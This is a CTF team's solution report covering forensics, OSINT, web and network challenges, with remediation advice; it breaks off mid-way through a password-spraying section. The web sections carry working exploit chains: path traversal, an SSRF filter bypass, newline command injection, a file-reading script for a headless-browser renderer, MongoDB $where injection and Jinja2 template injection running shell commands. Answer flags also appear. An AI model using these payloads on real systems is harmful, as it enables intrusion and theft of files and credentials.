2026 WCSC October CTF — Solution Report

Team: ihopenre Date: 2026-10-30

Table of Contents

  1. [Forensics/IR] The Empire Strikes Back (750) / The Empire's Last Orders
  2. [OSINT] Here and There — 500
  3. [Web] Anything for Our Members — 750
  4. [Web] Moth Busters — 500
  5. [Web] Fruit Shop — 250
  6. [Web] Jinja2Ninja — 250
  7. [Misc/Network] Plenty of Portals — 250
  8. [Misc/Network] The Curious — 500
  9. [Pwn] Bookshelves — 250
  10. [Pwn] Dewey Decimal — 375
  11. [Crypto] Overrated — 500
  12. [Blockchain/Crypto] Sell Your Ethereum — 750
  13. [OSINT] Luna's Nite Out — 1000
  14. [Forensics/Stego] Leonne Stratvarius Bonnie (kitty) — 250

Flag Summary

# Challenge Flag
1 [Forensics/IR] The Empire's Last Orders WCSC{echoes_in_freed_memory_64795e1b}
2 [Forensics/IR] The Empire Strikes Back — 750 WCSC{a_window_into_the_intrusion_42fad758}
3 [OSINT] Here and There — 500 WCSC{1210}
4 [Web] Anything for Our Members — 750 WCSC{S0_MuCh_S3rvEr_S1d3_Inf0rm47ioN!!!!}
5 [Web] Moth Busters — 500 WCSC{Ps1F1v31nf0L4b5_V1b3_C0d35_4lL}
6 [Web] Fruit Shop — 250 WCSC{m4nG03z_4nD_M0ngOs}
7 [Web] Jinja2Ninja — 250 WCSC{7h15_SSTI_15_s0_r4d}
8 [Misc/Network] Plenty of Portals — 250 WCSC{W0rk1ng_W_P0rtAl5_Th3_C4k3_W4s_A_l13}
9 [Misc/Network] The Curious — 500 WCSC{UR_2_FuR1oU5}
10 [Pwn] Bookshelves — 250 WCSC{c4n7_f17_0n_7h3_5h3lv35!}
11 [Pwn] Dewey Decimal — 375 WCSC{d3w3y_h45_4_5y573m}
12 [Crypto] Overrated — 500 WCSC{jwt_overrated}
13 [Blockchain/Crypto] Sell Your Ethereum — 750 WCSC{4626_inflation_rounding_success_2026}
14 [OSINT] Luna's Nite Out — 1000 WCSC{47.6883_9.1406}
15 [Forensics/Stego] Leonne Stratvarius Bonnie (kitty) — 250 WCSC{kitty_cat_meow_csc}

1. [Forensics/IR] The Empire Strikes Back (750) / The Empire's Last Orders

One-line summary: The user analyst downloaded Package-Capa.7z over cleartext HTTP. Inside it was an encrypted archive whose password was the raw base64 string from flag.txt. That archive contained a PowerShell Empire C# agent (capa.exe), which was executed. From the memory dump we recovered (1) the FG= value in the environment block of the decoy process SessionWorker.exe — the Last Orders flag — and (2) a reflectively loaded .NET assembly whose name was a base64 string stored in UTF-16 — the Strikes Back flag.

Shared information

Timeline (UTC / KST, KST = UTC+9)

Time (UTC) Time (KST) Event Evidence Notes
2026-10-22 19:51:52 2026-10-23 04:51:52 pcap capture starts Downloads/Dump.pcapng
2026-10-22 19:51:52–19:52:47 2026-10-23 04:51:52–04:52:47 GET hxxp://10.226.206[.]191:8000/Package-Capa.7z (cleartext HTTP) Dump.pcapng, evidence/wcsc-empire/http_objects/Package-Capa.7z 25,053 bytes; matches the size carved from memory. Exact per-request timestamps not determined.
unknown unknown Package-Capa.7z extracted; Secret-Package.7z opened with the raw base64 from flag.txt 7z references in memory, 7ZR.EXE prefetch Exact time not determined
2026-10-22 19:57:26 2026-10-23 04:57:26 capa.exe executed (PID 8188) evidence/wcsc-empire/vol_pslist.txt, vol_pstree.txt
2026-10-22 19:57:48 2026-10-23 04:57:48 capa.exe spawns SessionWorker.exe (PID 6720, argument 1800) vol_pslist.txt (CreateTime), vol windows.cmdline Still running at dump time (8 threads)
2026-10-22 19:57:57 2026-10-23 04:57:57 capa.exe exits (PID 8188) vol_pslist.txt
2026-10-22 19:58:12 2026-10-23 04:58:12 Memory dump taken (SystemTime) dump header Dump filename says 195810

Note: the pcap ends at 19:52, so no C2 traffic to 192.168.175[.]128 appears in it.

Attack chain

  1. Initial delivery: analyst downloaded Package-Capa.7z from an external host over cleartext HTTP. The directory listing on that server (10.226.206[.]191:8000) contained only this file. A reverse lookup to eduroam-226-206-191.laptops.usf.edu is recorded in the notes, but the raw lookup output is not in the evidence set.
  2. Social engineering: flag.txt inside the archive reads "The archive is sealed. Maybe the flag you found nearby is the key it's waiting for." together with a base64 string. That raw base64 string is the password for Secret-Package.7z. The decoded WCSC{...} value is not the password.
  3. Execution: Secret-Package/capa.exe (named to impersonate the legitimate capa tool) was executed. Identified as a PowerShell Empire C# agent (Sharpire family).
  4. Decoy process: capa.exe spawned %LOCALAPPDATA%\Temp\ApplicationTelemetry\<GUID-like folder>\SessionWorker.exe 1800. This is a tiny .NET program that only reads an environment variable and sleeps.
  5. Persistence: not established. The scheduled tasks we initially suspected turned out to be lab automation (see "Ruled out" below).
  6. C2: 192.168.175[.]128 over HTTP. We could not recover any actual traffic to this C2.
  7. In-memory module: the dump contains the name of a reflectively loaded .NET assembly that does not exist on disk (the Strikes Back flag). We assess it was loaded via Empire's RunAssemblyInProcess — this is an inference, not a confirmed fact.
  8. Privilege escalation / lateral movement / exfiltration: not established.

Indicators of Compromise (IoCs)

Files / paths - C:\Users\analyst\Downloads\Package-Capa\Package-Capa\flag.txt (held open by Notepad, PID 11416) - C:\Users\analyst\Downloads\Package-Capa\Package-Capa\Secret-Package\capa.exe (PID 8188) - C:\Users\analyst\AppData\Local\Temp\ApplicationTelemetry\dc0b758ea8c544068e0555042765aa8c\SessionWorker.exe (decoy, PID 6720); prefetch: C/Windows/prefetch/SESSIONWORKER.EXE-45532A12.pf

Hashes - Secret-Package/capa.exe (58,880 B) SHA-256: 4fac75bc9c4b8dc40265e71b73378551dbe56884f7787c8e112797a4206eabba - Package-Capa.7z (25,053 B) SHA-256: edc51181b23b37701ac566550f6ce4eadb4c16fe5320362ecaba33db3eceff72 - Secret-Package.7z (24,688 B) SHA-256: 156856d09e87163defca0ab7fc425245444523b2373cd7d8032297ff344269aa - flag.txt (144 B) SHA-256: 237162bc2730731717150dd005b80b88cca4d716c4c2538b0399c4894aa1a4df - SessionWorker.exe (image extracted from the memory dump, 24,576 B) SHA-256: aeeb47e3ad182a438d3834fef2c48f79ad74d43d0886344fd3963eb737a1a0e9 (on-disk original hash not verified)

Network - Delivery server: hxxp://10.226.206[.]191:8000/Package-Capa.7z, reverse name eduroam-226-206-191[.]laptops[.]usf[.]edu - C2: hxxp://192.168.175[.]128/ - Empire default URIs: /admin/get.php, /news.php, /login/process.php - User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko - Staging key: 2mQIKCB4WdvqyA3qtBevpBfnXXeTc7jH (extracted from capa.exe) - Sysmon surfaced the external IP 89.106.20[.]205 as a candidate, but we could not establish whether it is malicious.

In-memory - Assembly name V0NTQ3thX3dpbmRvd19pbnRvX3RoZV9pbnRydXNpb25fNDJmYWQ3NTh9 - Empire launcher remnants: -noP -sta -w 1 -enc SQBmACgAJABQAFMAVg... (evidence/wcsc-empire/enc_scan2.txt)

Scheduled tasks / services / accounts: nothing confirmed malicious (this is a finding, not an unknown: the review showed only lab automation). No created accounts were identified.


Part 1 — The Empire's Last Orders

1. Problem summary

2. Analysis

3. Steps

  1. Review the triage artifacts (ConsoleHost_history, scheduled-task XML, event logs).
  2. Full string search over the memory dump. Define the variables yourself:
cd /home/lsh/whitehat2026-workspace
DUMP=challenges/wcsc-empire/ex/C/DESKTOP-SVH6UVO-20261022-195810.dmp   # extracted via 7z x Extraction.7z
harness/sb "strings -a -t d $DUMP | grep -F 'WCSC{'"
harness/sb "strings -el -a -t d $DUMP | grep -F 'WCSC{'"
  1. Dump the context around each offset: python3 -I tools/wcsc-empire/ctx_dump.py "$DUMP" <offset...> (this tool reads 3,000 bytes before and 6,000 bytes from the offset and prints ASCII/UTF-16 strings). The -t d flag above yields decimal offsets, which can be passed directly.
  2. Process confirmation: evidence/wcsc-empire/vol_pslist.txt, vol_pstree.txt (volatility3 windows.pslist / pstree output).

4. Result

5. Root cause and remediation


Part 2 — The Empire Strikes Back (750)

1. Problem summary

2. Analysis

3. Steps

cd /home/lsh/whitehat2026-workspace
DUMP=challenges/wcsc-empire/ex/C/DESKTOP-SVH6UVO-20261022-195810.dmp
PCAP=challenges/wcsc-empire/Dump.pcapng   # copy of the separately downloaded file

## 1) Extract HTTP objects from the pcap
harness/sb "tshark -r $PCAP --export-objects http,evidence/wcsc-empire/http_objects"

## 2) Extract the 7z; the password is the raw base64 from flag.txt
harness/sb "7z x -pV0NTQ3tmb2xsb3dfdGhlX3N1cHBvcnRfaGFuZG9mZl82YTU1NjI2Nn0= -oevidence/wcsc-empire/http_objects/secret evidence/wcsc-empire/http_objects/outer/Package-Capa/Secret-Package.7z"

## 3) Re-scan for UTF-16 strings (the step that found the answer)
harness/sb "strings -el -a -t d $DUMP | grep -F 'V0NTQ3'"

## 4) Decode
echo 'V0NTQ3thX3dpbmRvd19pbnRvX3RoZV9pbnRydXNpb25fNDJmYWQ3NTh9' | base64 -d

## 5) Inspect the surrounding context
python3 -I tools/wcsc-empire/ctx_dump.py "$DUMP" 2120233860 3954008676

Tools used (tools/wcsc-empire/):

Approaches ruled out (none produced a new WCSC hit): plaintext / UTF-16 / reversed / rot13 / hex / base64 (all three alignments) / single-byte XOR and ADD across the whole dump; ASCII + UTF-16 grep over all 769 triage files; plaintext, XOR, ADD, base64, repeating-key XOR with the staging key, and ChaCha20 decryption against capa.exe. capa.exe has no overlay, no extra sections and no resources.

4. Result

5. Root cause and remediation

Ruled out / wrong paths

C:\ProgramData\LabWorker\Windows-Executor.ps1 and the LocalWorker / LocalWorkerWatchdog scheduled tasks

The FG= value in SessionWorker.exe

WCSC{follow_the_support_handoff_6a556266}

Limitation of the first base64 scan: searching ASCII only missed the V0NTQ3... string stored as UTF-16.

Limitations and open items


2. [OSINT] Here and There — 500

1. Problem summary

Both images are barcodes, but of different kinds. PDF417 carries the data itself; a NaviLens tag carries only an ID that must be resolved against a server, so the registered information has to be looked up separately.

2. Analysis

2-1. Jonathan — PDF417 boarding pass (IATA BCBP)

VERT_IMG_0238.png is a photograph of a printed PDF417 symbol. Decoded with zxing-cpp:

M1KARTWIDJAJA/JONATHANELT0N37 ORDFARUA 5679 298YOVSL0000 177>8320OO6298BUA ...

Split into the fixed-width fields of IATA Resolution 792:

Field Value Meaning
Format Code / Legs M / 1 BCBP, 1 leg
Passenger Name (20) KARTWIDJAJA/JONATHAN
Electronic Ticket Ind E
Operating carrier PNR (7) LT0N37
From City Airport (3) ORD Chicago O'Hare
To City Airport (3) FAR Fargo, Hector International
Operating carrier (3) UA United Airlines
Flight Number (5) 5679 UA 5679
Date of Flight (3) 298 day 298 of the year (no year in the field)
Compartment / Seat Y / OVSL

We read "here" in "just come meet me here" as the destination, FAR. The challenge wording "how FAR he is asking him to travel" is also a pun on the airport code.

2-2. Jake — NaviLens (ddTag) colour code

The 80 x 87 px image is not a picture but a NaviLens marker. Inside a white quiet zone sits a black square containing a 5 x 5 grid of Cyan / Magenta / Yellow / Black cells. Each colour encodes 2 bits.

Symbol Colour Bits
C Cyan 00
M Magenta 01
Y Yellow 10
K Black 11

The four corner cells carry the palette and orientation, the centre cell carries the size, and the remaining cells of the centre row/column carry the CRC. The message is read from the remaining cells, each column top-to-bottom, columns left-to-right.

Grid as read:

C K M M M
K M M M M
K Y C C C
M K K Y K
K M M Y Y

→ 24-bit message 110111011101010110100111 = 0xDDD5A7

Because of the low resolution one cell was misclassified and the CRC disagreed. The automatic reader classified row 3, column 2 as Cyan, under which the stored CRC 0xC5D0 did not match the computed 0xE5D0. Treating that cell as Yellow makes them agree. Since the corrected cell lies in the CRC area, the message ID itself is unchanged. (CRC parameters: polynomial 0xC867, init 0, no input/output reflection, final XOR 0.)

2-3. ID → place lookup

A NaviLens marker carries only an ID, so the registered record must be queried. We opened the Android app with JADX to recover the request path and signing scheme (NaviLensAPIInterface, TagPetition, BaseAPI, NaviLensSignatureManager, CONSTANTS).

POST https://cloud.navilens.com/securized/services/tags/info
Content-Type: application/json; charset=UTF-8
x-date: <UTC timestamp>
authorization: Bearer <signature>

String to sign (joined with LF):

POST
/securized/services/tags/info
<lowercase hex MD5 of the body bytes>
application/json; charset=UTF-8
<same UTC timestamp as x-date>

signature = Base64(HMAC-SHA512(client signing constant from the app, string above))

The key is the literal bytes of the app's constant string (it is not hex-decoded first).

Fields from the response used for the location:

{
  "code": "DDD5A7",
  "name": "411-8-CTA-13",
  "locale": "en",
  "description_offline": "Brooklyn Bridge-City Hall elevator entry to 4, 5, 6, J and Z train.  "
}

→ Jake is at the Brooklyn Bridge–City Hall station elevator entrance in Manhattan, New York (inside City Hall Park, near Chambers St / Centre St).

3. Steps

  1. Identify the format of both images: Jonathan = PDF417, Jake = NaviLens/ddTag.
  2. Decode the PDF417 (in the sandbox: pip install --break-system-packages zxing-cpp):
from PIL import Image
import zxingcpp
im = Image.open('jonathan_VERT_IMG_0238.png')
res = zxingcpp.read_barcodes(im)          # decodes in the original orientation
t = res[0].text
print(t[30:33], t[33:36], t[36:39].strip(), t[39:44].strip())   # ORD FAR UA 5679
  1. Read the NaviLens 5x5 cells → 24-bit message → verify the CRC (one cell corrected) → ID DDD5A7.
  2. Query the NaviLens cloud API for the registered record → Brooklyn Bridge–City Hall station entrance.
  3. Compute the great-circle distance between the two points and round to the nearest 10.

Cross-checks (performed independently in this repository)

4. Result

Coordinates (the NaviLens response has no coordinate field, so a representative point near the station entrance was used):

Point Latitude Longitude
Jake — near Brooklyn Bridge–City Hall station entrance 40.7131500 -74.0048000
Jonathan's destination — Hector International (FAR) 46.9206389 -96.8157500
haversine (sphere, R=6371.0088 km): 1210.067 mi  -> 1210
vincenty  (WGS84 geodesic)        : 1212.834 mi  -> 1210

Both models round to 1210 at the nearest 10. Moving Jake's coordinate by about 1.5 miles changes the distance by only 0.3 miles, so the result is stable well inside the rounding band (1205–1215): the exact choice of point at the station entrance does not affect the answer.

5. Interpretation caveats (limits of the evidence)

6. Post-mortem (analysis failure worth recording)

We initially misread Jake's image as "a framed geometric abstract painting" and spent time searching art databases. Degraded to 80 x 87 px, the white quiet zone looked like a mat, the black border like a frame, and the CMYK cells like colour-field composition.

Decision rule: a grid of square cells in exactly four CMYK colours on a black background, surrounded by a white margin, should be suspected as a colour 2D code (NaviLens / ddTag / HCCB family) before it is treated as artwork. Check whether the colours are quantised to four values and whether the cell boundaries align to a grid. Counting cells remains possible even at low resolution.


3. [Web] Anything for Our Members — 750

1. Problem summary

Five vulnerabilities must be chained in order to reach the flag.

2. Analysis

Reconnaissance

Vulnerability 1 — unauthenticated API index disclosure (information exposure)

Reading the hint "everywhere you can be" as "every point reachable without authentication", we checked /api:

GET /api  → 200 application/json
{"/api":{"/login":"Authenticate to member site, requires 'username' and 'password' - JSON POST parameters",
         "/test":{"/announce":"IN PROGRESS",
                  "/read":"Read public member bios, requires 'bio' - GET parameter"}}}

A development route index is exposed verbatim, revealing /api/test/read.

Vulnerability 2 — arbitrary file read in /api/test/read

Differences in the response messages let us reverse the internal logic:

Input Response Interpretation
bio=jonathan.txt Invalid bio file, … exception raised = file not found
bio=bios/jonathan.txt ummm, what the sigma? success (bio file contents)
bio=app.py error, bio must specify correct directory the file opened, then failed the directory check

The third row is decisive: the check runs after the file is opened, so even when the check fails the response leaks the fact that the file exists. The actual code, recovered later:

@app.route('/api/test/read')
def api_test_read():
    bio = str(request.args.get('bio'))
    bio_path = bio
    try:
        with open(f'/app/member-site/{bio_path}', "r", encoding="utf-8") as file:
            bio_content = file.read()      # (1) read before any check
        if 'bios' not in bio_path:         # (2) substring check with no path normalisation
            return "error, bio must specify correct directory"
        return bio_content
    except Exception as e:
        return "Invalid bio file, valid files in bios/: …"

Because (2) never normalises the path and only tests whether the string contains bios, bios/../ bypasses it entirely.

?bio=bios/../app.py                → full text of /app/member-site/app.py
?bio=bios/../../../etc/passwd      → /etc/passwd

Vulnerability 3 — secrets hardcoded in source

From app.py:

Vulnerability 4 — blacklist-based SSRF filter

@app.route('/api/authenticated/upload', methods = ['POST'])
def api_authenticated_upload():
    if not check_login(): return "forbidden", 401
    url = str(request.get_json()['url'])
    #TODO: Remember to add a firewall rule that drops all traffic from the webserver to localhost:1234
    #for now this filter should do
    if not url.startswith('http://'): return "error, invalid URL schema"
    if 'localhost' in url or '127.0.0.1' in url: return "error, disallowed host"
    response = get(url)
    return response.text          # returns the body verbatim → full read SSRF

The deny list contains exactly two strings. The loopback interface has many other spellings (0.0.0.0, 0, 127.1, [::1], 2130706433). The comment even names the target, localhost:1234.

Vulnerability 5 — command injection in the internal dashboard

Reaching http://0.0.0.0:1234/ via SSRF produced a "Server Management" page, and /list-processes showed two applications running in the same container:

www-data 85 python3 /app/member-site/app.py
www-data 86 python3 /app/internal-admin-leet-dashboard/app.py

Reading that second path back through vulnerability 2 gave the internal application's source:

@app.route('/search-packages')
def search_packages():
    package = str(request.args.get('package'))
    blacklisted_characters = [";", "|", "&", "$", " "]
    if any(char in blacklisted_characters for char in package):
        return "errorm, restricted character detected"
    result = subprocess.run(f'apt-cache search {package}', shell=True, capture_output=True, text=True)
    output = result.stdout
    return output

A string is passed to the shell with shell=True while the deny list contains only five characters — newline and tab are missing.

3. Steps

  1. Obtain /api/test/read from /api (vulnerability 1).
  2. Read the main application source via arbitrary file read (vulnerability 2):
curl -G 'https://wcsc-anything-for-our-members.chals.io/api/test/read' \
  --data-urlencode 'bio=bios/../app.py'
  1. Log in with the hardcoded credentials (vulnerability 3):
curl -c cookies.txt -X POST .../api/login -H 'Content-Type: application/json' \
  -d '{"username":"administrator","password":"2e97aba8ea21fb90774c81dbde78a32d"}'
→ 200 success  (session cookie issued)
  1. Bypass the SSRF filter with 0.0.0.0 and reach the internal service (vulnerability 4):
curl -b cookies.txt -X POST .../api/authenticated/upload -H 'Content-Type: application/json' \
  -d '{"url":"http://0.0.0.0:1234/"}'
→ internal "Server Management" HTML
  1. Use /list-processes to find the internal application path, then read its source through vulnerability 2 to confirm the deny list:
--data-urlencode 'bio=bios/../../internal-admin-leet-dashboard/app.py'
  1. Command injection with newline + tab → RCE (vulnerability 5):
curl -b cookies.txt -X POST .../api/authenticated/upload -H 'Content-Type: application/json' \
  -d '{"url":"http://0.0.0.0:1234/search-packages?package=%0aid%0als%09-la%09/%0als%09-la%09/app"}'
→ uid=33(www-data) gid=33(www-data)
  /app/ ... -rw-r--r-- 1 root root 41 flag_1837rywqdhua.txt
  1. Read the flag (vulnerability 2 alone suffices):
curl -G .../api/test/read --data-urlencode 'bio=bios/../../flag_1837rywqdhua.txt'
→ WCSC{S0_MuCh_S3rvEr_S1d3_Inf0rm47ioN!!!!}

4. Result

5. Root cause and remediation

# Vulnerability Classification Fix
1 /api exposes the route index without authentication CWE-200 / CWE-489 (leftover debug feature) Remove it from production builds or move it behind authentication
2 open() before validation; substring check 'bios' not in path CWE-22 path traversal (+ CWE-209 information exposure through error messages) Compare against an allow list (if name not in os.listdir(BIOS)), then os.path.join + os.path.realpath and verify the result stays under the base directory. Move the check before open(). Generalise exception messages.
3 SECRET_KEY and credentials hardcoded CWE-798 / CWE-547 Move to environment variables or a secret store; store passwords hashed (bcrypt/argon2) in a database; rotate the leaked key immediately
4 String deny list as an SSRF filter CWE-918 Switch to an allow list (domains, schemes). Resolve DNS and block private, loopback and link-local ranges (RFC1918, 127/8, 0.0.0.0, ::1, 169.254/16), and re-validate on redirects. Block internal services at the network layer — actually apply the firewall rule from the comment.
5 shell=True plus a character deny list CWE-78 OS command injection Drop shell=True and pass an argument array: subprocess.run(['apt-cache','search',package]). Validate input against an allow list such as ^[a-z0-9.+-]+$. Deny lists are always bypassable via newline, tab, \r, {}, <> and similar.

Additional recommendations


4. [Web] Moth Busters — 500

1. Problem summary

2. Analysis

Dead ends first

→ The attack surface is /register and the admin-only report generator.

Vulnerability 1 — mass assignment to gain admin (server.js:85-102)

app.post('/register', (req, res) => {
  const { username, password } = req.body;
  ...
  db.prepare('INSERT INTO users (username, password, is_admin) VALUES (?, ?, ?)')
    .run(username, bcrypt.hashSync(password, 10), req.body.is_admin ? 1 : 0);

The registration form (views/register.ejs) has no is_admin field, but the server trusts is_admin from the request body and inserts it directly. Adding is_admin=1 to the registration request creates an administrator account.

Vulnerability 2 — HTML injection in the report generator → local file read via Puppeteer file:// (server.js:114-203)

const html = `… <h1>${title}</h1> …
  <div class="content">${content}</div> …`;          // no escaping
const tmpFile = path.join(os.tmpdir(), `report-….html`);
fs.writeFileSync(tmpFile, html);
browser = await puppeteer.launch({
  args: ['--no-sandbox', '--disable-setuid-sandbox',
         '--disable-dev-shm-usage', '--allow-file-access-from-files'] });
const page = await browser.newPage();
await page.goto(`file://${tmpFile}`, { waitUntil: 'load', timeout: 10000 });
await new Promise(r => setTimeout(r, 500));
const pdf = await page.pdf({ format: 'A4', printBackground: true });

Three conditions combine into arbitrary local file read:

  1. title and content are interpolated straight into a template literal → arbitrary HTML/JS injection
  2. That HTML is written to a temporary file and loaded with a file:// origin
  3. The Chrome flag --allow-file-access-from-files lets JS on a file:// page read other local files as same-origin via XMLHttpRequest (together with --no-sandbox)

Since the only output is a PDF, the read values need an exfiltration path. Rendering them into the body leaves only glyph IDs (<005F0003…> Tj) because Skia subsets the font as CID, making text extraction hard without a ToUnicode CMap. Chrome, however, writes document.title into the PDF Info dictionary's /Title as a plain literal, so putting the file contents into document.title makes them recoverable with a single strings pass.

3. Steps

  1. Create an admin account (vulnerability 1):
curl -X POST https://wcsc-moth-busters.chals.io/register \
  --data-urlencode 'username=pfil_audit_9f3ac1' \
  --data-urlencode 'password=Str0ngPass!9f3ac1' \
  --data-urlencode 'is_admin=1'
→ 302 /login
  1. Log in and confirm the privilege:
curl -c cookies.txt -X POST https://wcsc-moth-busters.chals.io/login \
  --data-urlencode 'username=pfil_audit_9f3ac1' --data-urlencode 'password=Str0ngPass!9f3ac1'
→ 302 /admin

Because server.js:77 is res.redirect(user.is_admin ? '/admin' : '/dashboard'), the redirect to /admin is itself proof that is_admin=1.

  1. Inject a local-file-read payload into the report content (vulnerability 2):
<script>
var r=[];
['file:///flag_ashbdygsq.txt','file:///app/flag.txt'].forEach(function(p){
  try{ var x=new XMLHttpRequest(); x.open('GET',p,false); x.send();
       r.push('OK '+p+' = '+String(x.responseText).trim()); }
  catch(e){ r.push('ERR '+p+' = '+e.name); }
});
document.title='EXFIL{'+r.join(' ;; ')+'}';
</script>
curl -b cookies.txt -o report.pdf -X POST \
  https://wcsc-moth-busters.chals.io/admin/generate-report \
  --data-urlencode 'title=audit2' --data-urlencode 'content@payload2.html'
→ HTTP 200, application/pdf, 62387 bytes

The XHR is synchronous, so it completes during parsing and the title is set well within the 500 ms wait before page.pdf().

  1. Extract the flag from the PDF metadata:
strings -a report.pdf | grep Title
<</Title (EXFIL{OK file:///flag_ashbdygsq.txt = WCSC{Ps1F1v31nf0L4b5_V1b3_C0d35_4lL}
          ;; OK file:///app/flag.txt = WCSC{Ps1F1v31nf0L4b5_V1b3_C0d35_4lL}})

4. Result

5. Root cause and remediation

Classification

Fixes

  1. /register should extract only allowed fields explicitly. Never accept is_admin from the request; fix it to 0 server-side:
const { username, password } = req.body;   // do not destructure is_admin
... .run(username, hash, 0);               // INSERT a constant 0

Privilege changes belong in a separate admin-only endpoint with an audit log.

  1. Do not build the report HTML by string concatenation. Use an auto-escaping template (EJS <%= %>) or HTML-escape user input.
  2. Harden the Puppeteer configuration: - Remove --allow-file-access-from-files (this feature does not need it at all) - Do not load via file://; use page.setContent() or about:blank plus a local HTTP origin - page.setJavaScriptEnabled(false) — a report PDF does not need JS - Remove --no-sandbox (keep the sandbox) and run as an unprivileged user inside the container - Optionally set a CSP meta tag with script-src 'none'
  3. Do not place secrets on a filesystem readable by the rendering process. Randomising the filename (/flag_ashbdygsq.txt) is no defence against arbitrary file read on the same host, and COPY . . exposed it a second time at /app/flag.txt.

5. [Web] Fruit Shop — 250

1. Problem summary

2. Analysis

$flag = getenv('FLAG');
$privateProduct = ['product_name' => $flag, 'price' => 0.00,
                   'description' => 'Flag', 'is_public' => false];

index.php renders only run_find(['is_public' => true]), so the page shows just the 8 public products.

Vulnerability (search.php) — MongoDB $where server-side JavaScript injection

$searchInput = $_GET['search'] ?? '';
if (is_array($searchInput)) { $searchInput = ''; }   // blocks array/operator injection
$term = strtolower((string) $searchInput);           // the only transformation: lowercasing
$filter = [
    '$where' => "this.product_name == '" . $term . "' && this.is_public == true",
];

User input is concatenated directly inside the quoted portion of the JavaScript source passed to $where. There is no escaping and no character allow list. The only constraint is strtolower(), which merely prevents uppercase characters in the payload — this, true and is_public are all lowercase, so it is not a real obstacle.

The is_array() check also blocks the common NoSQL operator injection (?search[$ne]=), narrowing the path to escaping the quotes inside the $where string.

3. Steps

  1. Establish the baseline behaviour:
curl -G 'https://wcsc-fruit-shop.chals.io/search.php' --data-urlencode 'search=honeycrisp apple'
→ {"ok":true,"count":0,"results":[]}

Because of strtolower, the comparison becomes this.product_name == 'honeycrisp apple', which can never match the stored value Honeycrisp Apple. In other words the search feature can never find anything (consistent with the "a search box... that's on purpose" comment in index.php). This confirms strtolower is the single transformation applied.

  1. Close the quote and inject an always-true condition, pushing the is_public clause behind || so it has no effect:
search=' || true || '

The resulting $where JS:

this.product_name == '' || true || '' && this.is_public == true

JavaScript operator precedence binds && tighter than ||, so this is (a=='') || true || ('' && b) → always true, and the filter matches every document.

  1. Request and response:
curl -G 'https://wcsc-fruit-shop.chals.io/search.php' --data-urlencode "search=' || true || '"
→ {"ok":true,"count":9,"results":[
     {"product_name":"Honeycrisp Apple","price":2.49},
     ... (8 public products) ...,
     {"product_name":"WCSC{m4nG03z_4nD_M0ngOs}","price":0}
   ]}

Since the projection includes product_name, the flag document's name field is returned directly.

4. Result

5. Root cause and remediation

$filter = ['product_name' => new MongoDB\BSON\Regex('^' . preg_quote($term, '/'), 'i'),
           'is_public' => true];

Escape input even for regex, and prefer a text index with $text where possible. - If $where is unavoidable, do not concatenate input into the JS source; otherwise disable server-side scripting with --noscripting. - Do not put the authorisation condition (is_public) inside the same expression as user input. Placing it as a separate top-level condition makes it impossible to bypass with ||. - Do not store secrets in the same collection and schema that ordinary user queries reach (use a separate collection with separate read permissions).


6. [Web] Jinja2Ninja — 250

1. Problem summary

2. Analysis

Observations

Root cause (from the recovered app.py, 08-app.py.txt)

@app.route('/create', methods=['POST'])
def create():
    top_text = request.form.get("top_text")
    bottom_text = request.form.get("bottom_text")
    ...
    return render_template_string("""... <div class="meme-text top-text">"""
        + top_text + """</div>
        <div class="meme-text bottom-text">""" + bottom_text + """</div> ...""")

User input is concatenated into the template source rather than passed as template data, and then compiled by render_template_string. There is no keyword deny list and no SandboxedEnvironment.

3. Steps

  1. Survey input points: the form on / leads to the two fields of POST /create, which are the only user-controlled paths.
  2. Detect template rendering:
curl -X POST https://wcsc-jinja2ninja.chals.io/create \
  --data-urlencode 'top_text={{7*7}}' --data-urlencode 'bottom_text={{"a"+"b"}}'
→ <div class="meme-text top-text">49</div>
  <div class="meme-text bottom-text">ab</div>
  1. Check what is exposed: {{config}} → the whole Flask config (no flag, DEBUG=False); {{self}} → <TemplateReference None>. No sign of filtering (04-config-self.html).
  2. Escape the sandbox → RCE. Obtain the os module through __init__.__globals__ of the cycler global that Jinja2 exposes:
--data-urlencode "top_text={{cycler.__init__.__globals__.os.popen('id').read()}}"
→ uid=33(www-data) gid=33(www-data) groups=33(www-data)
  1. Enumerate the filesystem: pwd → /app; ls -la /app → app.py, Dockerfile, flag.txt (26 bytes) (06-enum.html)
  2. Read the flag:
--data-urlencode "top_text={{cycler.__init__.__globals__.os.popen('cat /app/flag.txt').read()}}"
→ WCSC{7h15_SSTI_15_s0_r4d}

4. Result

5. Root cause and remediation


7. [Misc/Network] Plenty of Portals — 250

One-line summary: The exposed DMZ port (0[.]cloud[.]chals[.]io:10650) was cleartext POP3 (Dovecot). Logging in with the provided glados:glados credentials and retrieving the single message (RETR 1) revealed the flag in the body.

1. Problem summary

2. Analysis

3. Steps

  1. Banner collection (one connection, nothing sent) → Dovecot POP3 (2026-10-30 20:03 per the notes).
  2. CAPA + QUIT → capability list (2026-10-30 20:03).
  3. USER/PASS glados, STAT, LIST (2026-10-30 20:04) → one message.
  4. RETR 1 (2026-10-30 20:04) → the flag in the body of a message from cjohnson@aperturescience[.]com.

Reproduction (the original command was not recorded in the notes; this reproduces the same actions):

HOST=0.cloud.chals.io; PORT=10650   # this host is the only target
{ sleep 1; printf 'USER glados\r\n'; sleep 1; printf 'PASS glados\r\n'; sleep 1;
  printf 'STAT\r\nLIST\r\nRETR 1\r\nQUIT\r\n'; sleep 1; } | nc "$HOST" "$PORT"

RETR 1 response (evidence/wcsc-portals/04_retr1.txt):

From: cjohnson@aperturescience.com
Subject: IT Doesn't Know Crap
... here's that secret activation key for later - WCSC{W0rk1ng_W_P0rtAl5_Th3_C4k3_W4s_A_l13}.

4. Result

5. Root cause and remediation


8. [Misc/Network] The Curious — 500

One-line summary: Spraying a fixed password (Rainey2025!) across 237 candidate usernames found the SSH account ww2016; an SSH direct-tcpip channel to the server's internal 127.0.0.1:80 dashboard then yielded the flag.

1. Problem summary

2. Analysis

3. Steps

  1. Banner check → SSH (2026-10-30 20:12 per the notes).
  2. Username spray: tools/wcsc-curious/find_user.py (paramiko, serial, 0.4 s delay between attempts)
python3 tools/wcsc-curious/find_user.py challenges/wcsc-curious/usernames.txt

Core logic:

HOST, PORT = "0.cloud.chals.io", 12358
PW = "Rainey2025!"
c.connect(HOST, PORT, username=u, password=PW, allow_agent=False, look_for_keys=False, ...)

→ [+] SUCCESS: ww2016

  1. Reach the internal web service: tools/wcsc-curious/probe_internal.py opens a direct-tcpip channel on the transport after login and sends GET /
python3 tools/wcsc-curious/probe_internal.py
